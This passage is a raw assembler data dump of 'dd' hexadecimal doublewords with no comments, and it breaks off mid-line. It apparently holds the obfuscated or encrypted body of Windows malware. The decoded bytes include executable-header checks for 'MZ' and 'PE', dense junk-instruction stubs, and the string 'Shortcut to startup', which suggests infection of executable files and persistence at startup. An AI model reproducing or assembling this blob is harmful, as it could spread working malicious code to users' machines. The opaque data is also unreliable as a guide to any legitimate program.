95FF786Bh, 6480061h, 0B67DB58Bh, 6A064Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 7CD86C3h, 0D8D8967h, 8B064827h, 480F2585h, 65952906h dd 8906480Ah, 0C486h, 59D0300h, 8B064823h, 48140595h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0FABB6600h, 4C283D0h, 68C0Fh, 0BD030000h, 64829CDh dd 1205089h, 48288D85h, 0D4858D06h, 6A064BCAh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0C4B0C352h, 892B1DBEh, 4818299Dh, 0B8868906h, 6A000000h dd 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 7BD4C353h dd 3A2B10C9h, 0B0835835h, 1825BD8Bh, 6A0648h, 2A319589h dd 0FFF90648h, 4BB689B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 2C4153ADh dd 0FCF7AC4h, 287h, 0BB90B700h, 63507997h, 5195FFh, 6A0648h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 7EBC3CC3h, 0E95F566Eh, 12h, 0A80CA298h, 6C50C3D1h, 2E09BB0Dh dd 575F5FD7h, 880F7EC8h, 6, 23019D23h, 0F960648h, 0C82h dd 68F0F00h, 50000000h, 5A310F52h, 0FA8B5058h, 0D1816096h dd 5293B05Ah, 0D7D88166h, 0B5FF61E7h, 64BB689h, 9F9BD33h dd 95FF0648h, 6481429h, 0E150EF81h, 0BD834F6Bh, 64831A9h dd 2F840F00h, 66000000h, 501BA9BBh, 3800Fh, 8B660000h dd 243489DFh, 12E8h, 68D90A00h, 401DA51Dh, 6F0DF8A1h, 68ADB7Ch dd 8BD02092h, 481F0DBDh, 0B5FF5F06h, 64BB689h, 0DE8h, 0FF42A600h dd 0B64D66D2h, 7EDC37D7h, 0BB66218Eh, 0FF5B8C96h, 4813FD95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0AC3406D4h, 0B160B98h, 0B5FFF5E4h, 64BB689h dd 0D919D8Bh, 95FF0648h, 648177Dh, 0E4B3D88Ah, 2F1DBD83h dd 0F020648h, 4184h, 6840F00h, 8B000000h, 48203D9Dh, 51858B06h dd 6A064815h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 79C355h, 0A8993585h, 0BE6036BBh dd 0C67Dh, 18719589h, 85C70648h, 64816E1h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0D9C35040h dd 53AAF781h, 0E6E96421h, 0E8FFFFF3h, 0Bh, 2E844966h, 0D4059A4h dd 81607AC7h, 0C262EFC3h, 0C18B5F0Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 6C35646h, 1CB0162Eh, 1D7D8DAFh dd 28718531h, 0BA0648h, 81F00DE0h, 0EAh, 14C283F0h, 2F6D9589h dd 0EA830648h, 0C3858D14h, 50064D36h, 35FF64h, 64000000h dd 2589h, 0E80000h, 58000000h, 25C22Bh, 66FFFFF0h, 5A4D3881h dd 12850Fh, 0B70F0000h, 0D0033C50h, 45503A81h, 840F0000h dd 0Ah, 10002Dh, 0FFD9E900h, 0C88BFFFFh, 13458589h, 40030648h dd 50B70F3Ch, 61958906h, 8B06481Ch, 95895050h, 6480DADh dd 0F805h, 0C508B00h, 9589D103h, 64819D9h, 89085003h, 48282595h dd 58F6406h, 0 dd 0E904C483h, 13h, 244C8B51h, 0B0A98110h, 0 dd 59000010h, 83C3C033h, 48202DBDh, 840F0006h, 24h, 0FF985C6h dd 68470648h, 0D49AA7D2h, 29A9B5FFh, 858D0648h, 64B7F60h dd 6AD0FFh, 8589D0FFh, 64811ADh, 0DE8D38Bh, 1000000h, 1D511CF2h dd 3F636154h, 92CC8907h, 5EC1C680h, 0C681DD8Ah, 594Ah dd 5AA5B453h, 409856BFh, 0CDC78169h, 6096BF7Dh, 8B61F38Bh dd 0FFC1810Eh, 5150A1E1h, 815816B0h, 0B04791E9h, 0DE90Bh dd 0BACF0000h, 21162BFh, 9646F189h, 818995AEh, 200B47F1h dd 6E966h, 74E80000h, 0BF443131h, 28C0F51h, 8A000000h dd 81068FC2h, 0FBDF39F2h, 92EE814Fh, 0B63B1B2Ah, 8EC6812Dh dd 663B1B2Ah, 0EF81C28Bh, 1, 0F850Fh, 8B600000h, 2AE961CEh dd 0E3000000h, 0AFD8A8DDh, 7E952A9h, 85000000h, 0D89F0BDFh dd 0E95A371Ch, 0FFFFFF7Bh, 0B2BC50F3h, 65AD161h, 0CFA161E2h dd 99F81D8Dh, 578D8D55h, 6A064D38h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0D876C357h dd 2C0D9D8Bh, 42B40648h, 14058D89h, 85C70648h, 6483025h dd 6628h, 0F9858B51h, 5B064829h, 2AD985C7h, 648h, 95310000h dd 648293Dh, 6880Fh, 0B5890000h, 6481F0Dh, 2FB5B5FFh, 0DA810648h dd 2EF6D233h, 0E7195FFh, 860F0648h, 3, 31D7BF0Fh, 48002DB5h dd 0FF006A06h, 48092D95h, 0EBC08B06h, 90D5D40Dh, 2493CB6h dd 535C6C91h, 8D8D12E6h, 64D3941h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 14C35545h, 0D799CAEFh, 8D29D660h dd 6480E21h, 6820Fh, 85890000h, 648161Dh, 14058D89h, 0C4BB0648h dd 0C7627374h, 48302585h, 59D006h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0E9F7DC7Eh dd 0Fh, 32B33517h, 0F4E938B0h, 933B7E53h, 8BB7524Ch, 481B219Dh dd 0D985C706h, 6482Ah, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F8F0C351h dd 42447E72h, 71BBD4E5h, 0FF67899Dh, 481B71B5h, 81858B06h dd 0FF064816h, 480E7195h, 899D8B06h, 6A064811h, 2D95FF00h dd 8B064809h, 0C078EBC0h, 0F6125D94h, 0D54C4C35h, 53B9D2D8h dd 5304E6ADh, 0D00F74CEh, 8E4D4E0Bh, 0E68112B6h, 0D6D2CF60h dd 2A5360BAh, 0D78C9503h, 9E6EF63Dh, 8F3C3CDBh, 905C7BD9h dd 8065A1D7h, 0A6308200h, 0E0224D9Ah, 0B2E6F37Ah, 16280DD3h dd 0BB38723Ah, 8E909DCAh, 583DBA3h, 0C2BE0325h, 0BC1D975h dd 0F8B500C9h, 0ADA26B41h, 3ECE3D1Fh, 3101B990h, 1EF13134h dd 0C4E928A6h, 8D097DE1h, 4D3AB48Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 41D7B057h dd 0A324E948h, 14E9h, 0F0020E00h, 70E52673h, 64E622Ah dd 79C0E39Eh, 0D2B27F39h, 0E881669Bh, 8D89522Ah, 6481405h dd 301DBD23h, 85C70648h, 6483025h, 7494h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 15h, 36C35646h, 0C1B70F06h dd 2AD985C7h, 648h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 1B7E33C3h, 0C9453786h dd 0FFF38A8Ah, 48184DB5h, 0FF77B306h, 480E7195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 60BDBF3Bh, 0A995297Ch, 0E9064806h, 0Ah, 23E42FF4h, 0B957863Bh dd 6A5F6Eh, 92D95FFh, 0C08B0648h, 0B9900EEBh, 31343101h dd 28A61EF1h, 7DE1C4E9h, 6433D78Eh, 3433BE9Fh, 0F76B9DBBh dd 10773485h, 10773CEAh, 3433AB73h, 0F763FDBBh, 0BF3F61B0h dd 6433D72Eh, 3433BE9Fh, 0F76B9DBBh, 10773485h, 10773CEAh dd 3433AB73h, 0F763FDBBh, 0B71CF97Ch, 7C212453h, 3D46BD71h dd 39060038h, 4033BB95h, 0BF60EDF7h, 303005B7h, 0B1BABDBBh dd 327B9464h, 90572063h, 0E7CCBB3Dh, 89B0E5E0h, 327BB0E8h dd 6424C9EEh, 30300524h, 0B1BABDBBh, 327B9464h, 95602063h dd 0E7CCBB3Dh, 0A9B8E5E0h, 327B9228h, 0BFE102E1h, 0CDBE8EB7h dd 5235F599h, 34596551h, 343055BEh, 6C13BD77h, 70BAE578h dd 70B2B9F9h, 3425B9CAh, 6473BD77h, 25D8CD78h, 3433B835h dd 95B0EAEEh, 31DBBF6Eh, 0DF33BDBBh, 4931005Ch, 1B9A30C7h dd 6B69BB3Fh, 343535B4h, 0A902BDDDh, 327B93B7h, 0B03CB9DFh dd 3433B9FDh, 0DC65BDB7h, 3433BDEDh, 6AF0E357h, 3017C932h dd 3017F95Ch, 3433BDF7h, 3CF0EB31h, 189F099h, 8B3CEA05h dd 3CDBE211h, 8033BD77h, 9D48C9A1h, 0BF658271h, 7C30787Bh dd 0B555E271h, 0B7C96250h, 7C034C60h, 0B03CBDE8h, 3433BD26h dd 0DC63BDD1h, 3433BDDEh, 6CF0E5CEh, 3017F9FEh, 3017F93Ah dd 3433BDC7h, 8FF0EDAEh, 0EF5E7419h, 0A1BA9FDEh, 327B9200h dd 34307007h, 6233D777h, 3433BE53h, 0F76D9DDDh, 104734B0h dd 10773C73h, 3433A1BFh, 0F765FBDDh, 0A8B9141Fh, 0BB31DACFh dd 13330374h, 89BABFDDh, 327BAEEFh, 45B138FAh, 5D82BBF0h dd 63FB37BDh, 556B7E65h, 89326D88h, 327BBB7Eh, 0B03C7D58h dd 3433BCE6h, 0DC66BD1Dh, 3433BDB8h, 69F0E0FDh, 3017D167h dd 3017F9F6h, 3433BDA0h, 0FF0E898h, 806DB64h, 3B259281h dd 3433B535h, 36B6B2DDh, 6533BDEEh, 630B3C28h, 3BC83CDDh dd 34338358h, 0B555EAEEh, 6E7EDEBDh, 304B3CDDh, 0B03CBFDFh dd 3433BEAAh, 0DC61BD1Dh, 3433BDB8h, 6EF0E7FDh, 3017E967h dd 3017F9F6h, 3433BDACh, 0AAF0EF9Fh, 17FA6EE0h, 7C21A0EAh dd 0B58E36BDh, 5235F5C8h, 54AF856Fh, 34B13878h, 3B53BDBBh dd 55CA6A6Ah, 0DC31C56Eh, 34413878h, 3459BDBBh, 3430558Ah dd 6B13BDEEh, 48BAE2B4h, 70B2B99Fh, 342BB9F9h, 6374BDEEh dd 3F3F4EB4h, 0B9B83691h, 327B8C20h, 0AEA95A6Fh, 0B555F8C1h dd 9F33BBC3h, 340938D2h, 3459BDEEh, 34305525h, 6E13BDBBh dd 60BAE71Eh, 70B2B9CAh, 342EB953h, 6671BDBBh, 0E2A0F81Eh dd 2C723A97h, 52424F23h, 0BF4FEF00h, 7C108448h, 36A154E8h dd 0E6B2BD77h, 5576CA44h, 3532BD63h, 4DA634A8h, 0B935F545h dd 7F423F3Eh, 0BD8E94DBh, 0CB35F5CDh, 6533D7A7h, 3433BE53h dd 0F76A9DDDh, 107F34B7h, 10773C73h, 3433A0BFh, 0F762FCDDh dd 1AE14A79h, 0BF6DCA1Dh, 0A13AF046h, 327BB51Ch, 0B03C7D6Bh dd 3433BF5Dh, 0DC66BDD1h, 3433BDDEh, 69F0E0CEh, 3017D1FEh dd 3017F93Ah, 3433BDC8h, 9AF0E8ABh, 38DBDDA7h, 7B33BDBBh dd 0DCB1B588h, 59D7DC81h, 0BD5349BFh, 7C31402Eh, 0B552E5DBh dd 360EDBD6h, 0AB6B275h, 0BF33BDBBh, 7C39A440h, 324B3CE8h dd 4E6C8011h, 35D939B4h, 3459BDDDh, 343055BEh, 6C13BD77h dd 70BAE578h, 70B2B9F9h, 342EB9CAh, 6473BD77h, 0D95DAA78h dd 73D293B6h, 1F9A8E3Eh, 7C0370EAh, 0CB2DBBDh, 0B13CDD41h dd 3433BD69h, 0DC61BD1Dh, 3433BDB8h, 6EF0E7FDh, 3017E967h dd 3017F9F6h, 3433BDA2h, 0F7F0EF9Fh, 314AC97Eh, 32BAB244h dd 1D33BDBBh, 7C3E2460h, 364B3DE8h, 64B6B29Fh, 5433BDBBh dd 6917C264h, 0DD8634E3h, 5535F563h, 0B5554C31h, 0F433BBA5h dd 340638E1h, 3459BD77h, 343055EEh, 6913BDDDh, 58BAE02Dh dd 70B2B953h, 3429B99Fh, 6176BDDDh, 7A8CCB2Dh, 2F94F20Eh dd 29B694EAh, 6B35F5CFh, 34328E07h, 75AE3677h, 8A35F5ACh dd 4A32BCDDh, 1BEA0067h, 0B1BEBB3Fh, 3278CC39h, 3E6E0054h dd 0E4CCBBA6h, 0B1EA0A78h, 0C7B7B27Bh, 733BDDDh, 7C186873h dd 0DC0B3D71h, 344038B4h, 38DBBDDDh, 2B33BDEEh, 774458C0h dd 0ACEB5692h, 71820FAh, 7C26307Bh, 4CB3E471h, 0B13CCEBEh dd 3433BD8Ch, 0DC64BD84h, 3433BD74h, 6BF0E29Bh, 3017C154h dd 3017F96Fh, 3433BD61h, 0E0F0EAFCh, 0B11A1063h, 327BB57Bh dd 6734C5F7h, 349939B4h, 3459BDDDh, 343055BDh, 6F13BD77h dd 68BAE678h, 70B2B9F9h, 3428B9CAh, 6770BD77h, 0B62A9C78h dd 6B47A3D2h, 0CB2DBFCh, 0B13CB8F8h, 3433BDDDh, 4CB36556h dd 0B13CD5E8h, 3433BD2Dh, 45F03CDDh, 4CB2DBF6h, 3B1642E5h dd 3433F4F2h, 0BF5541BBh, 3465540Bh, 3459BDEEh, 34305527h dd 6C13BDBBh, 70BAE51Eh, 70B2B9CAh, 342EB953h, 6473BDBBh dd 18B5131Eh, 0CDDE996Dh, 0DCFBA0EAh, 3433BDB2h, 8B970968h dd 0EE10C842h, 2FC03CC8h, 6B28F2A6h, 34333DD2h, 348BBDEEh dd 0B533BD77h, 0BB0D9F7Ah, 343D54D9h, 89B8BDEEh, 327BAEC6h dd 3433BC03h, 32F53DDDh, 646CEB7Eh, 5EA35CC4h, 37DBECBBh dd 1433BDDDh, 0BD6A7EB7h, 0B537993Bh, 233799FFh, 7533BDDDh dd 0A2DE7EBFh, 89BEBC8Ch, 327E877Ch, 746A3050h, 178BBBA3h dd 3744DB22h, 7C38303Eh, 0F5FC96DBh, 32BCDD8Ah, 0EA00674Ah dd 0BEBB3F1Bh, 78CC39B1h, 6E005432h, 0CCBBA63Eh, 0E98378E4h dd 58A4F305h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 51C35040h, 0B6EAFEC2h, 8B8486D6h, 4828F59Dh, 6E906h dd 0D6700000h, 11369C88h, 840FC00Bh, 5Eh, 318D8D29h, 0B58D0648h dd 6484E80h, 374DE281h, 85294C26h, 64827ADh, 3B8h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 8843089Ch, 0FF22B143h, 50006AE6h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 6A4093D9h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8BA1C357h, 4814E19Dh, 9D8D8B06h, 8B06480Ah dd 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 20A19832h, 1CB91509h, 880FEB46h, 6, 2B358D8Bh dd 0BD830648h, 6481299h, 83097500h, 480D35BDh, 19740006h dd 0C08B5350h, 403B8h, 0F9858900h, 8D06482Fh, 4AA4CB9Dh dd 5BD3FF06h, 35BD8358h, 6480Dh, 53501774h, 403B8h, 0F9858900h dd 8D06482Fh, 4AA16C9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0DB234465h dd 677F5403h, 0B70F42A3h, 52006ADBh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0C772834h dd 7B6012EFh, 0EBA6635h, 0E8C08B48h, 0Ch, 4BA031D5h, 8424ECE7h dd 384AAA9Bh, 24C18166h, 0E8615FFFh, 11h, 63ACCD3Dh, 8350E0D8h dd 0A1A9E6E8h, 0B257F987h, 68D0F7Ah, 89000000h, 4817F19Dh dd 81F85B06h, 5B74C3h, 65B58900h, 0B806482Fh, 16B9h, 2E78C781h dd 33FF3F7Fh, 39BD8B53h, 5F064832h, 51B5895Ah, 8106480Fh dd 15F679F2h, 4BBF507Ch, 5903B775h, 5F5BC281h, 956082Dh dd 4811C995h, 0F2815F06h, 57FBCAA0h, 12899D89h, 8B520648h dd 4823ED8Dh, 8B038F06h, 481641B5h, 4EB8306h, 8D5BD89h dd 0E8830648h, 0A7850F01h, 66FFFFFFh, 0FB70E681h, 9C005220h dd 77B1229h, 60CA851Fh, 8AEBBE6Eh, 492B6F91h, 0E379A04h dd 1311385h, 24AEB980h, 82357A71h, 4903C39Dh, 853C3216h dd 1333243h, 0E960326Eh, 1333201h, 5AF06921h, 5176E09h dd 51776C1h, 1333238h, 29F06153h, 0E55E7A2Dh, 15028F8Fh dd 0E2DA344Ah, 6B333200h, 2DB6180h, 21333240h, 8868F17Bh dd 8037164Ch, 1937164Ch, 42333204h, 7E46F151h, 912B889Fh dd 51E5B9E6h, 0FAB85420h, 159A241h, 130DA45h, 5C133208h dd 6DBA6FC7h, 45B23626h, 1273625h, 54763280h, 0FAB80283h dd 257F332Fh, 533358EEh, 13331E0h, 0C2691204h, 2567BB58h dd 2577B305h, 1332884h, 0C2617040h, 7DA019E7h, 804B318Fh dd 3A50B4C6h, 0D6B25473h, 6B6B3EEBh, 2DB6401h, 21333280h dd 886DF11Eh, 80371654h, 14371654h, 47333208h, 53ADF152h dd 0C1B0CEB1h, 5333582Dh, 1333168h, 0C2691240h, 2567BB7Ah dd 2577B314h, 133260Ch, 0C2617004h, 0F0863BDBh, 0E357A2Eh dd 133340Fh, 0BC8E1140h, 8A357A31h, 13FDB18h, 0F6DC3208h dd 89F2B69Eh, 0A57E8E83h, 8A550377h, 0FDACEC8h, 1D333240h dd 2268C0A6h, 8C2507F0h, 0B8CDB1F6h, 38B25433h, 853CCD34h dd 1333286h, 82CAB9E6h, 0B63C3B81h, 0E80AB2F2h, 1E3B71Fh dd 8CBA3208h, 77B282Dh, 88327389h, 4927DB94h, 0FB3186h dd 491BDBFDh, 123DB26h, 56FC3210h, 4934AAB0h, 5086F97Bh dd 82E4D016h, 0C0B07D20h, 54335885h, 13331A8h, 0C26E1220h dd 255FBB4Dh, 2577B30Ch, 1332F00h, 0C2667702h, 8BDA444Dh dd 0FC5EF15Ch, 803CE90Fh, 133322Ch, 135B41Fh, 841A3208h dd 77B3CF9h, 4AA30B83h, 843CB942h, 13332DEh, 8C71C0C0h dd 497DB2ADh, 0BBFDB316h, 0B962531Fh, 1333207h, 2D268F89h dd 0FDB3449h, 34333280h, 4D0ED7E5h, 0B37D2474h, 35AD039Bh dd 3DC4B3ACh, 5E509A2Fh, 159D3FDh, 130DA52h, 5A133280h dd 5DBA6983h, 45B23604h, 1273634h, 52703208h, 9CBA58C7h dd 77B3CABh, 0C1AA78Ah, 6B5234C8h, 2DB6440h, 21333220h dd 886DF14Eh, 8037167Ch, 1C371640h, 47333202h, 3D9BF157h dd 1D69757Bh, 10ADB679h, 43888FADh, 8CBE345Dh, 77E7733h dd 93B046BCh, 0B4B60103h, 2A357A15h, 3DAF34Fh, 9C005220h dd 77B1229h, 60CA851Fh, 8AEBBE6Eh, 492B6F91h, 0E379A04h dd 0F305E983h, 89C08BA4h, 4812B98Dh, 0AE906h, 1F240000h dd 2792972Ah, 0FC68E2F7h, 8D8DC38Bh, 64D4632h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0ECC35747h, 8D896719h dd 6481405h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 64C35343h, 0B866524Ah, 85C7058Ah, 6483025h, 65CCh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D7C35646h dd 0BAE3F8E7h, 85C7CD6Bh, 6482AD9h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 9BC35040h dd 33A11D8Ch, 0DC29D7BAh, 21B5FF69h, 0F8064812h, 0E7195FFh dd 9D8B0648h, 64822E1h, 95FF006Ah, 648092Dh, 3AEBC08Bh dd 8D8CABC4h, 61211D0Ch, 49258B26h, 21397359h, 6A9529A5h dd 0AD29B4Ch, 7EFEEE58h, 0DB73738h, 8CC25F64h, 7533DC1Ah dd 0C8478940h, 0A0B2C4Eh, 34455887h, 37FDE565h, 14E81962h dd 35000000h, 682DBFABh, 0EC594811h, 5116A136h, 963EDCF7h dd 0F990A6D6h, 0CE958h, 30520000h, 0E86448D6h, 0D3F28EB1h dd 0C081414Dh, 64C1h, 277D8D29h, 0BA0648h, 8B000000h, 8D09100Ch dd 6482F7Dh, 70B0C181h, 9D31622Ah, 648150Dh, 642DE981h dd 66603CDFh, 3766F081h, 6890Fh, 8D0F0000h, 0 dd 3F18161h, 0E902B7A3h, 6, 1CC58E9Ah, 0C89CE92h, 5E910h dd 0AB950000h, 0FC6C35Fh, 0EA83DEB7h, 4A4AFC01h, 0F1BF0F4Ah dd 9C0CFA81h, 850FFFFFh, 1Eh, 6E8h, 8DF39700h, 963FDF9h dd 48162595h, 1DE95F06h, 68000000h, 0F8893B3Ch, 0BF0F9825h dd 0FF75E9FEh, 28BEFFFFh, 216343D1h, 93CE38AFh, 0DE717391h dd 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h, 0A90B3363h dd 982633A9h, 5E265AF1h, 0D029CAEFh, 0B44E6033h, 67A5E4FFh dd 0D00F9AF8h, 0F8A3BEA0h, 6720782Ch, 0A5A3BA79h, 1B207BC8h dd 0D0061ED7h, 1D293333h, 98263383h, 0DF71B6C0h, 157635EBh dd 0D5617AD6h, 0DD963AFh, 9E6E2FE9h, 98266483h, 15235935h dd 0D5616A1Fh, 1DAB634Bh, 9E6B74EFh, 3DB3CC03h, 93207B9Bh dd 0A1A23C14h, 1526336Ah, 0D5616AB0h, 0AACE639Ch, 0D826334Dh dd 0C7A3BEF6h, 0C8207E14h, 0DF7FB624h, 67763599h, 0D00E52FFh dd 94E2B033h, 0DF7FB617h, 15763500h, 0D5617A23h, 0DD96355h dd 9E6E2F94h, 9826513Dh, 74AD666Ah, 0CE746464h, 0AB2E4E11h dd 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch, 13EF002Bh dd 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h, 5AAD63E8h dd 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h, 6CA13C35h dd 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h, 0C6E7B856h dd 517F6C8Eh, 152637A8h, 0D5617488h, 0E4ABBE9Ch, 20207E05h dd 93h, 71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h, 8DFFFFFFh dd 4D487CB5h, 9B8D8D06h, 2B064D48h, 5E983CFh, 8E8C88Bh dd 22000000h, 7D1A4F36h, 17CF474h, 4817B1BDh, 958B5B06h dd 6480819h, 5A23C381h, 0EE90000h, 6000000h, 0ABD3957h dd 16D1A519h, 0CE5C9941h, 688Fh, 8E0F0000h, 0 dd 0F9B5315Fh, 8B064815h, 78BA3B34h, 81461452h, 186987C6h dd 0C681F549h, 1A02214Fh, 0E5EE81F5h, 8B071323h, 482EA58Dh dd 0B9665606h, 48F348Bh, 44F1813Bh, 902257Ch, 48062DB5h dd 4EF8306h, 2A898D8Bh, 0FF810648h, 0FFFFA670h, 0FFB5850Fh dd 840FFFFFh, 6, 1FD8D8Bh, 9D8D0648h, 6483345h, 39B8h dd 0F9858900h, 0E8064808h, 0 dd 0D0558h, 3890000h, 39E9h, 0E6000000h, 0Dh dup(0E6000077h) dd 6CEBFF77h, 726F6853h, 74756374h, 206F7420h, 72617473h dd 707574h, 14h dup(0) dd 771D2F83h, 1, 0F86E9h, 4B866800h, 0AFE9064Dh, 68FFFBFEh dd 64D4C79h, 0FBFEA5E9h, 4E7A68FFh, 9BE9064Dh, 68FFFBFEh dd 64D4EB9h, 0FBFE91E9h, 4F9F68FFh, 87E9064Dh, 68FFFBFEh dd 64D502Ah, 0FBFE7DE9h, 540368FFh, 73E9064Dh, 68FFFBFEh dd 64D5707h, 0FBFE69E9h, 581168FFh, 5FE9064Dh, 15FFFBFEh dd 903EB292h, 680C808h, 8E08409Ch, 0F593DF19h, 6D1850B4h dd 7BA1E000h, 0FD2D6977h, 0AD2D3FDh, 86425846h, 6DDAF2CAh dd 73D7358Ch, 77C70869h, 0C0871F11h, 759A7F33h, 0AE4F74D6h dd 4B759A7Fh, 0DC2794F1h, 0B854F519h, 9A0490DEh, 69B3FE06h dd 0C2D8C68Fh, 0A0AB4A06h, 5E40D8FCh, 2C38A56h, 8F5223E0h dd 463DB30Dh, 73D22395h, 0E5B48AD2h, 0F320D04h, 0D29B1606h dd 384ABDC9h, 31179Eh, 90DE0000h, 2A9D3165h, 8F52623Ch dd 0FD89C799h, 7215E265h, 0EDF073D2h, 0FF45E60Bh, 9DD0B2C3h dd 0D26E7728h, 16283073h, 38D84A74h, 0B9E09Eh, 81970000h dd 0D88B04A0h, 5348FB25h, 10BE3791h, 74004E8Ah, 1A8E762Ah dd 6CCE90DEh, 0E0246569h, 72B6ECEAh, 46485E7Ch, 9A8EF081h dd 0E94B1575h, 8A9E3EE1h, 396F759Ah, 7B25FDFDh, 0E2ECE125h dd 0B37278BCh, 7C0D488h, 8F52B383h, 55DC9C2Eh, 0E95E762Ah dd 891C07A8h, 0F59B338Dh, 886055ADh, 9419B06h, 7BDA028Fh dd 22530BFh, 44D49957h, 0F100000Dh, 7C1A56B6h, 0E2ECEC24h dd 6A7464A0h, 0D1FFF335h, 494474D0h, 1FCDCC2Ch, 91713553h dd 2EF6BFD9h, 0BA7E24A2h, 49FE9636h, 73D734A8h, 77EB2C4Dh dd 0F09ED20Ah, 8B4D52AAh, 7519FBC5h, 158D752Bh, 63CD9FDDh dd 9081B66Ah, 0F39D3165h, 891F56B6h, 526240DEh, 335BE58Fh dd 9FFE366Dh, 0C7CB36E9h, 4B034A08h, 0D2123B94h, 625C7C73h dd 38A4A6C0h, 0C50C9Eh, 772B0000h, 0DFC1D511h, 894508C8h dd 105E8E0Bh, 9A7B05ABh, 6AAEF475h, 0DA227866h, 734D03C5h dd 2F5ADB91h, 783D630Bh, 0D99C2EACh, 42028443h, 9EAF8F52h dd 0F1E50FCBh, 0CAE24C6Ah, 4E07C5C4h, 0B4E81392h, 7AB98820h dd 45C8BCEBh, 0CB792EA7h, 0CC891CA1h, 0C8C7397Dh, 35D13C9h dd 19F6C722h, 0E380AAAEh, 91C4A6A4h, 652B431Dh, 0EEE8E024h dd 9C79A3h, 0C022564h, 0C516F4Eh, 850E0000h, 1189175Bh dd 0B5FF99D1h, 20676169h, 0A3EEE8E0h, 3B447179h, 420EDEDBh dd 0C8804044h, 5D1DC7CEh, 21A96D33h, 9976F199h, 7C73D733h dd 0A77F83Dh, 7FCEAF18h, 912B759Ah, 7FAD4AFDh, 0F648759Ah dd 643AA414h, 770728A0h, 0FE7D511h, 96C40081h, 871D8134h dd 29770F43h, 733AB36Fh, 0E8801448h, 0DD72B19h, 27AEB3E3h dd 521EF87Eh, 0EB835D8Fh, 0D1E3DF1Ah, 9F030B7Ah, 0E94B155Bh dd 98752AE4h, 0DF73D2DEh, 723C1FFh, 0AD9E3868h, 18h, 8B45848h dd 0D1300000h, 14D38024h, 759A0987h, 37FDD862h, 42F3FACAh dd 63FB6590h, 9A7F17E4h, 6B68F275h, 759A7F8Ah, 0E5EB377Fh dd 298B55DBh, 0FDA3ED85h, 0A429B339h, 52549BE3h, 90F6988Fh dd 16F03068h, 2980658h, 0BF3688C6h, 673FBD0Fh, 2EAC7839h dd 10FF1E1Fh, 3ED8F4Ah, 9A5E444Ah, 16D2C8D6h, 3A78E358h dd 9D09E816h, 3AB54205h, 8E501496h, 0A04779C7h, 14B23EFAh dd 70044A8Eh, 48C77691h, 5C0B854Eh, 149693BFh, 0AF26805Ah dd 969324F6h, 1F114D14h, 0AB1C1288h, 149693CAh, 0E2A8683Fh dd 0D4F2FE58h, 9F440ACEh, 149693C7h, 7A0D2309h, 0EEE8E024h dd 0C0587CB8h, 0E6CFA061h, 4E755CBAh, 0EB69E8A1h, 3BF3FA44h dd 832B4F7Ah, 0A1ECDAC4h, 95C56711h, 2D7371BAh, 0AC3EBC68h dd 0C9374229h, 21EC711Eh, 68CA94EDh, 0FCC78344h, 9AEA17E9h dd 69E34C2Dh, 2DFDB9EBh, 0CD9F1DAFh, 2C8E565Fh, 2B11354h dd 9776C959h, 0BFCDF50Bh, 34FBF2F7h, 9975D609h, 3173784Bh dd 7556BBD4h, 0A002F9AFh, 80435B0Ch, 44E6CFB1h, 30646F16h dd 59A049Ch, 6268A8FFh, 0EEF0FE58h, 0F0D3EE7h, 0ED0C9FCh dd 6836CE66h, 0E0FAF030h, 7AFF12E3h, 6055F735h, 0ECEC287Eh dd 5F44BCE2h, 0A927E3B9h, 0AEBB517h, 42C7C89Ch, 50F7C674h dd 0D00000Ah, 88165A8Ah, 0FE98D010h, 666068B4h, 0EDEBE721h dd 457078ACh, 3D9D838h, 8545414Fh, 12CACBD5h, 0AE6A305Eh dd 75F29A22h, 73D731A4h, 77EF2041h, 6808D511h, 8C022748h dd 